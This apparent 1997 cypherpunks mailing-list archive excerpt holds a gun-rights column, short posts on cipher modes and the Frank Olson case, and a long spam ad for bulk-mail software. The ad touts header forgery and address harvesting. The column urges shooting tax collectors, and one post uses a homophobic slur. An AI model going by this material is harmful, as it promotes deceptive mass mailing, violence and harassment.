shoulder-launched heat-seeking missile. (You're not going to argue we 
could
stand up to the FBI, the ATF, or the 87th Airborne with a Ruger 10-22 and 
a
few old muzzle-loaders, I hope?)

  And when it says that right shall not be "infringed," that means neither
the weapon, nor its ammunition, nor the buying or transport of either, may
be taxed, regulated, or subjected to any "permitting" process. The
government can't even require that the store clerk who sells me my machine
gun "check my ID," or write down my name.

  Certainly, under a Constitution so amended, no congresswomen would ever
be allowed to ban the import and private purchase of certain militarily
useful firearms because their pistol grips and removable magazines makes
them (start ital)too(end ital) useful to freedom-fighters ... would they?
Nor would any president be able to remain in office if he ordered surplus
government M-1 Garands and Colt 1911s shredded and melted to keep them out
of the hands of our own civilian militia ... or banned the re-importation
of American-made Garands and M-1 carbines without even submitting a bill 
to
Congress, instead merely signing some royal decree, or so-called 
"executive
order" ... would he?

  No; that's all clear enough. (start ital)That(end ital) can't be the one
they don't want us to read.


An impartial jury

  Could it be they're afraid we might read the (start ital)Sixth(end ital)
Article of Amendment, which begins, "In all criminal prosecutions, the
accused shall enjoy the right to a speedy and public trial, by an 
impartial
jury ..."

  The high court, of course, now holds this doesn't mean what it appears 
to
mean to us non-lawyers, at all. Rather than see the courts grow too
crowded, her eminence Sandra Day O'Connor now informs us no trial is
required if the state agrees to jail us for fewer than 180 days ... or 
even
for fewer than 180 days on (start ital)each charge(end ital).

  But crowded courts are a self-correcting problem, once all defendants 
are
guaranteed a "speedy" trial. The correct answer is to force every case to
trial before a jury within one week ... to ban all "plea bargains." (Do we
really believe the cops arrest all those people on the wrong charges?)

  Forced to pick and choose the few cases they really have time to try,
prosecutors would be forced (under the existing "speedy trial" provision)
to promptly release the 95 percent of federal defendants who have 
committed
no violent felony, but only violated some arbitrary bureaucratic edict. 
Aw,
gee.

  And by the way, what's that word "impartial" doing in there?

  The British common-law jury system with which the Founders were familiar
made no provision for the judge to ask potential jurors in advance whether
they favored the enforcement of the law in question ... which is why the
misguided government could never get any convictions in the North in the
1850s on charges of violating the hated Fugitive Slave Act, any more than 
a
government saddled with the same jury system could convict William Penn in
London, some years before, on charges of preaching a Quaker sermon.

  Importantly, it is only the (start ital)defendant(end ital) who is
guaranteed an impartial jury -- we find here no guarantee that "the state
shall enjoy ..."

  When the judge asks the jury pool whether anyone would have a problem
sending someone to jail for smoking pot, or for owning an ancient
collectable World War One machine gun without having previously submitted
his fingerprints to the ATF, or for declining to pay a federal income tax
on wages -- and when that judge promptly sends home anyone who raises his
or her hand -- he is not empaneling an "impartial" jury; he is
pre-screening a jury guaranteed to be predisposed to the government's 
case.
He is violating the Sixth Amendment.

  The original term for a jury trial was a trial "en pays," or "on the
country." The jury is supposed to represent a cross-section of our fellow
citizens. Unless a law has broad -- 92 percent, actually -- public 
support,
the chances are that a randomly-selected group of 12 citizens will include
one member (8.33 percent of the panel) who finds the law a hateful
abomination, and who will refuse to convict. Hung jury: Defendant walks.

  That is the meaning, and the intent, of the Sixth Amendment prohibition
on government taking away our life, liberty or property without "a speedy
trial ... by an impartial jury."

  And what about the Tenth Amendment, which specifies, "The powers not
delegated to the United States by the Constitution, nor prohibited by it 
to
the States, are reserved to the States respectively, or to the people."

  This means 90 percent of the laws, agencies, orders and regulators now
pouring forth from Washington City like demons breaching the walls of hell
are null and void -- deformed, fatherless creatures, apt to melt away like
Goblins if ever tested in the harsh daylight of the Bill of Rights.


'Which one? Point to it'

  It doesn't matter whether you like these rights and prohibitions,
consider that they might tempt disorder, or think it's a good idea to
"allow" them -- any more than it matters whether you think we should
"allow" the sun to rise tomorrow, or the birds to fly. It doesn't work 
that
way.

  The several sovereign states only ratified the Constitution on our 
behalf
on condition that these protections of our unalienable rights against
government "infringement" be made the highest law of the land. Without the
first 10 amendments, the whole contract is null and void ... without them,
there IS no legitimate federal government, and their tax collectors become
nothing but common thieves, subject to being shot on sight if ever caught
outside their federal asylum on the Potomac.

  Any government official who declines to protect and defend these
amendments, in their clear meaning, is a traitor, in violation of the
sacred oath they all take to protect and defend this Constitution. Such
persons should be indicted -- impeached, if they are high officials -- 
and,
only if convicted by either the Senate or an impartial citizen jury,
hanged.

  This includes a whole lot of Congressmen, who have voted for a massive
snare of laws which "sounded like a good idea" without doing their sworn
duty, which was to open said Constitution to Article I Section 8 (the
Powers of Congress), scan through the 431 words found there, and then ask
the sponsor, "Which one of these 18 sentences gives you the specific,
delegated power to spend FEDERAL tax money to pay the medical bills of
barefoot Appalachian widows? Which one? Point to it."

  The comic book "Gran'pa Jack No. 3: 'Common Sense' " is available at $4
per single copy, $20 for 25, $30 for 50, from Jews for the Preservation of
Firearms Ownership, 2874 S. Wentworth Ave., Milwaukee, Wisc. 53207.

  The first Gran'pa Jack comic, " 'Gun Control' Kills Kids," is also still
available, at $3 single copy, $14 for 25, $20 for 50 -- Wisconsin 
residents
add 5.6 percent sales tax.

  Or telephone the JPFO at 414-769-0760.

  Meantime, go buy a copy of the Declaration of Independence, and the Bill
of Rights, and read them to a child.

  It's our next-to-last last hope.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The 
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***




Vin Suprynowicz,   vin at lvrj.com

"If ye love wealth greater than liberty, the tranquility of 
se---------------------------------------------------
This message is from the VTLP-list (Vermont Libertarian) mailing list. To 
send
a message to everyone on this list send email to 
. To
unsubscribe from the list send eamil to  with
"unsubscribe vtlp-list" in the body of the message. To subscribe to the 
list
send email to  with "subscribe vtlp-list your 
name"
in the body of the message.

 


----------------- End Forwarded Message -----------------

Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  

  "Do not go where the path may lead, go instead where there is 
   no path, and leave a trail."  - Ralph Waldo Emerson







From nobody at REPLAY.COM  Sat Dec 20 14:44:15 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 21 Dec 1997 06:44:15 +0800
Subject: ECB, CBC, CFB, OFB
Message-ID: <199712202235.XAA24669@basement.replay.com>



Can somebody more experienced than I am explain the strengths and weaknesses
of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?

>       -m mode
>              Set the transfer mode.
>
>              Valid ENCRYPTION modes are:
>
>              ecb    Electronic codebook mode
>                     c[i] = f1(K, p[i])
>                     p[i] = f2(K, c[i])
>
>              cbc    Ciphertext block chaining mode
>                     c[i] = f1(K, p[i] ^ c[i-1])
>                     p[i] = f2(K, c[i]) ^ c[i-1]
>
>              cfb    Ciphertext feeback mode
>                     c[i] = f1(K, c[i-1]) ^ p[i]
>                     p[i] = f2(K, c[i-1]) ^ c[i]
>
>              ofb    Output feeback mode
>                     h[i] = f1(K, h[i-1])
>                     c[i] = p[i] ^ h[i]
>                     p[i] = c[i] ^ h[i]






From dlv at bwalk.dm.com  Sat Dec 20 14:44:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 06:44:29 +0800
Subject: Frank Olson
Message-ID: 



I just saw a very interesting story on the Discovery Channel.

In 1953 the US was actively pursuing bio warfare (a subject of current
interest to me). Frank Olson was a good bacteriologist working for the gubmint
(NIH?), in close contact with the CIA. One night he attended a work-related
party, where everyone acted strangely; the next day, he a) decided to resign
his job, b) discussed his classified bio warfare work with people on his car
pool. But the gubmint didn't accept his resignation and instead sent him to
NYC for a psychiatric evaluation. He was sharing a hotel room with a CIA
employee, who claims that he was woken up the sound of breaking glass: Frank
Olson supposedly jumped out the window.

In 1975 it was revealed that at the party the attendees were given LSD without
their concent as part of a CIA experiment, which is why everyone was acting
strangely. Pres Ford issued an official apology to Olson's family and gave
them $750,000 in compensation.

Now there's a new twist. In 1953, the gubmint insisted that Olson be buried in
a closed casket, claiming he had cuts and bruises on his face. The family
never saw him. In 1994 his son has the body exhumed and re-examined. There
were no cuts and bruises, but forensic evidence suggests very strongly that he
was hit with something over the head and then thrown out the window. The NYC
DA has now started a murder investigation.

This has little crypto relevance, except for the bio warfare angle, and the
question: do you want these guys to have access to your cryptographic keys?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Dec 20 15:06:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 07:06:29 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: <7g91He22w165w@bwalk.dm.com>



nobody at REPLAY.COM (Anonymous) writes:

> On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> >
> > Panix is extremely censorous. I know of at least 3 cases where they pulled
> > plugs on their users because they didn't like the contents of their speech.
>
> > (Many people here probably remember Fred Cherry - Panix pulled his plug for
> > "homophobia".)
> > chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
> I wish you could be a little more specific.
> Harrashing email and excessive cross-posting in violation of each UseNet
> group charter is not
> censorship.
> If someone sends a gay an email saying "I will kill you. Look out for the
> next gay pride parade" that's is legitimate ground for action.

Panix pulled Fred Cherry's plug because of his Usenet articles criticizing
homosexuals as child molestors and fascist censors.

I am not aware of Fred Cherry ever sending anyone e-mail resembling the
"quote" fabricated the anonymous homosexual.

No wonder John Gilmore is a cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at bureau42.ml.org  Sat Dec 20 15:14:01 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Sun, 21 Dec 1997 07:14:01 +0800
Subject: Is Anonymous Communication only for "Criminals"?
Message-ID: 



>(Even the _ability_ to block a pay phone, qua pay phone, must imply that
>pay phones send out some kind of signal announcing themselves as pay
>phones, which I had not heard of before. I assumed a pay phone was Just
>Another Phone Number.)

Caller ID identifies most pay phones as "PAY PHONE".






From balden at mail.bc.rogers.wave.ca  Sat Dec 20 15:29:49 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Sun, 21 Dec 1997 07:29:49 +0800
Subject: Frank Olson
Message-ID: <01bd0d9e$6ed6b2c0$69737018@eudoxus.bc.rogers.wave.ca>



At that time, snail mail was pretty safe even from the spooks (with certain
precautions). So what's your point?  If the military-industrial complex
wants to ruin your life, it's the guns and fences and dogs that ultimately
tell the story, cause your unbreakable cipher to be compromised yourself
under truth drugs, etc.  The bureaucractic mess surrounding key recovery
would probably make most spooks look for much more low-tech methods of
compromising your security.


-----Original Message-----
From: Dr.Dimitri Vulis KOTM 
To: cypherpunks at toad.com 
Date: Saturday, December 20, 1997 3:15 PM
Subject: Frank Olson


>I just saw a very interesting story on the Discovery Channel.
>
>In 1953 the US was actively pursuing bio warfare (a subject of current
>interest to me). Frank Olson was a good bacteriologist working for the
gubmint
>(NIH?), in close contact with the CIA. One night he attended a work-related
>party, where everyone acted strangely; the next day, he a) decided to
resign
>his job, b) discussed his classified bio warfare work with people on his
car
>pool. But the gubmint didn't accept his resignation and instead sent him to
>NYC for a psychiatric evaluation. He was sharing a hotel room with a CIA
>employee, who claims that he was woken up the sound of breaking glass:
Frank
>Olson supposedly jumped out the window.
>
>In 1975 it was revealed that at the party the attendees were given LSD
without
>their concent as part of a CIA experiment, which is why everyone was acting
>strangely. Pres Ford issued an official apology to Olson's family and gave
>them $750,000 in compensation.
>
>Now there's a new twist. In 1953, the gubmint insisted that Olson be buried
in
>a closed casket, claiming he had cuts and bruises on his face. The family
>never saw him. In 1994 his son has the body exhumed and re-examined. There
>were no cuts and bruises, but forensic evidence suggests very strongly that
he
>was hit with something over the head and then thrown out the window. The
NYC
>DA has now started a murder investigation.
>
>This has little crypto relevance, except for the bio warfare angle, and the
>question: do you want these guys to have access to your cryptographic keys?
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From bill.stewart at pobox.com  Sat Dec 20 16:38:08 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sun, 21 Dec 1997 08:38:08 +0800
Subject: How about a Bay Area Cypherpunks meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <3.0.3.32.19971220162642.0074f3dc@popd.ix.netcom.com>



At 08:18 PM 12/18/1997 -0800, Andrade Software Andrade Networking wrote:
>> It would be nice if the January meeting were held the 17th.
>> This is the day following the RSA Data Security Conference, 
>> and a lot of out-of-towners will be in the area over that weekend.
>> Peter Trei
>
>Will there be a meeting then?  If so, where and when?

It's a nice idea, and it's my preference as well.
The main schedule conflict is that someone had arranged with
Lee Tien and Cindy Cohn to talk at Cypherpunks on Jan. 10,
and I haven't heard back on whether she's been able to reschedule them
to the 17th.  Lee, Cindy, does the 17th work for you?

				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From hupiu79 at arbi.informatik.uni-oldenburg.de  Sun Dec 21 08:57:00 1997
From: hupiu79 at arbi.informatik.uni-oldenburg.de (Floodgate)
Date: Sun, 21 Dec 1997 08:57:00 -0800 (PST)
Subject: Bulk Email For Profit
Message-ID: <199712202566WAA13177@post.ausys.se>



******************************************************
        
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, 1,000's  Of Messages An Hour

******************************************************

	MILLIONS  OF  EMAIL  ADDRESSES

                      ******** $100.00 *******

******************************************************

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 3.215
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities, way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response(occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF 
       SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 500,000 
       OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR 
       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with 
      real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to 
      send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND 
GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
And receive UNLIMITED technical support for 30 days.

**************************************************************

		MILLIONS OF  EMAIL ADDRESSES
	MILLIONS AND MILLIONS OF EMAIL ADDRESSES

CD with MILLIONS of email addresses separated by domain name.
All addresses are simple text format one per line. Addresses
from the following domains: Pipleline, MSN, MCI, Juno, Delphi,
Genie, AOL, Compuserve, Internet, .com & .net, MILLIONS OF THEM!
Not available on diskette or download.

===> WANT THE MILLIONS OF ADDRESSES FOR $100.00? <===

Just buy our Floodgate / Goldrush software package (with ALL
the bonuses INCLUDED), and the MILLIONS of addresses are yours
for just $100.00 additional.

These addresses will be delivered to you in simple text files
that any bulk emailing program can use, on CD Rom. With this CD,
YOU CAN BEGIN MAKING MONEY IMMEDIATELY!!!

***************************************************************

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.


***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!  
         ($200 RETAIL VALUE - FREE!!!) 


***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


***SPECIAL BONUS #4***

RECEIVE CHECKS BY EMAIL, PHONE OR FAX MACHINE. With this software
program, you can receive payment for your product or service INSTANTLY!!
There is no more waiting for your customers chec to arrive. This
software will no doubt, add to your sales, for customers who
don't have credit cards, as well as the impulse buyers.

With this software, you can print up your payments as soon as your
customer gives you his/her checking information. You will then
add the information given, to the proper blank check spaces, then
just print and go to the bank!!

         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, 
visit our web site at:

		http://www.t-1net.com/floodgate 		

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk 
email software in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-784-0312

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 784-0312


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive UNLIMITED technical support for 30 days.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $10.00 (includes insurance & return receipt) for shipping charges.

______I'm ordering Floodgate / Goldrush software and want to order the MILLIONS of email addresses as well. My additional cost is $100.00 enclosed.

______I'm NOT ordering your Floodgate / Goldrush software, but I
want to order your MILLIONS of email addresses on CD. Enclosed is $249.00.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP____________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_________________________________________________

EMAIL ADDRESSES_____________________________________________

************************************************************

We accept Checks, Money Orders, MasterCard, Visa,
American Express. You can either mail your order to 
us OR fax your order to:

			954-572-5837
************************************************************

Today's date:_____________
 
Visa____MasterCard____American Express____Discover_______
 
Card #:____________________________________________________
 
Expiration date:___________________________________________
 
Name on card:______________________________________________
 
Billing address:___________________________________________
 
Amount to be charged: $________________


Signature:___________________________________________


I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 784-0312


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

